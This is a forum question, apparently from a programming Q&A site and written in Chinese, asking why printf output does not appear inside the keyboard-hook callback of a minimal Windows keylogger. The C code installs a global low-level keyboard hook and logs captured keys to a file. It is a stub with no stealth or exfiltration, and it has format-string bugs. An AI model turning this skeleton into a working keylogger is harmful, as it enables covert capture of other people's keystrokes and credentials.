我正在尝试为Windows编写最小版本的键盘记录程序。
出于调试目的,我在回调函数中插入了一些printf。不幸的是,即使最后冲洗,stdout上也没有任何东西出现。
我发布了一个最小版本的键盘记录器,只是为了测试目的而返回'A'。
任何帮助?
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void log(char *str);
char *translate(int vk, int up);
int shift = 0, caps = 0;
FILE *fd;
int main(int argc, char *argv[]) {
HHOOK hKeyHook;
HWND self = GetConsoleWindow();
ShowWindow(self, SW_SHOW);
HINSTANCE app = GetModuleHandle(NULL);
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, app, 0);
MSG msg;
const char *fname = "mylog.txt";
fd = fopen(fname, "w");
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
printf("after translate\n");
fflush(stdout);
DispatchMessage(&msg);
}
fflush(fd);
fclose(fd);
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam;
char *str="[X]";
if (wParam == WM_KEYUP) {
str = translate(kb->vkCode, 1);
} else if (wParam == WM_KEYDOWN) {
str = translate(kb->vkCode, 0);
printf("UP=");
printf(str);
printf("\tVK=");
printf(kb->vkCode);
printf("\n");
fflush(stdout);
}
if (str) {
log(str);
}
return 0;
}
void log(char *str) {
fwrite(str, 1, strlen(str), fd);
if (strstr(str," ") || strstr(str,"[CR]")) fflush(fd);
}
char* translate(int vk, int up) {
char *buff = "A";
return buff;
}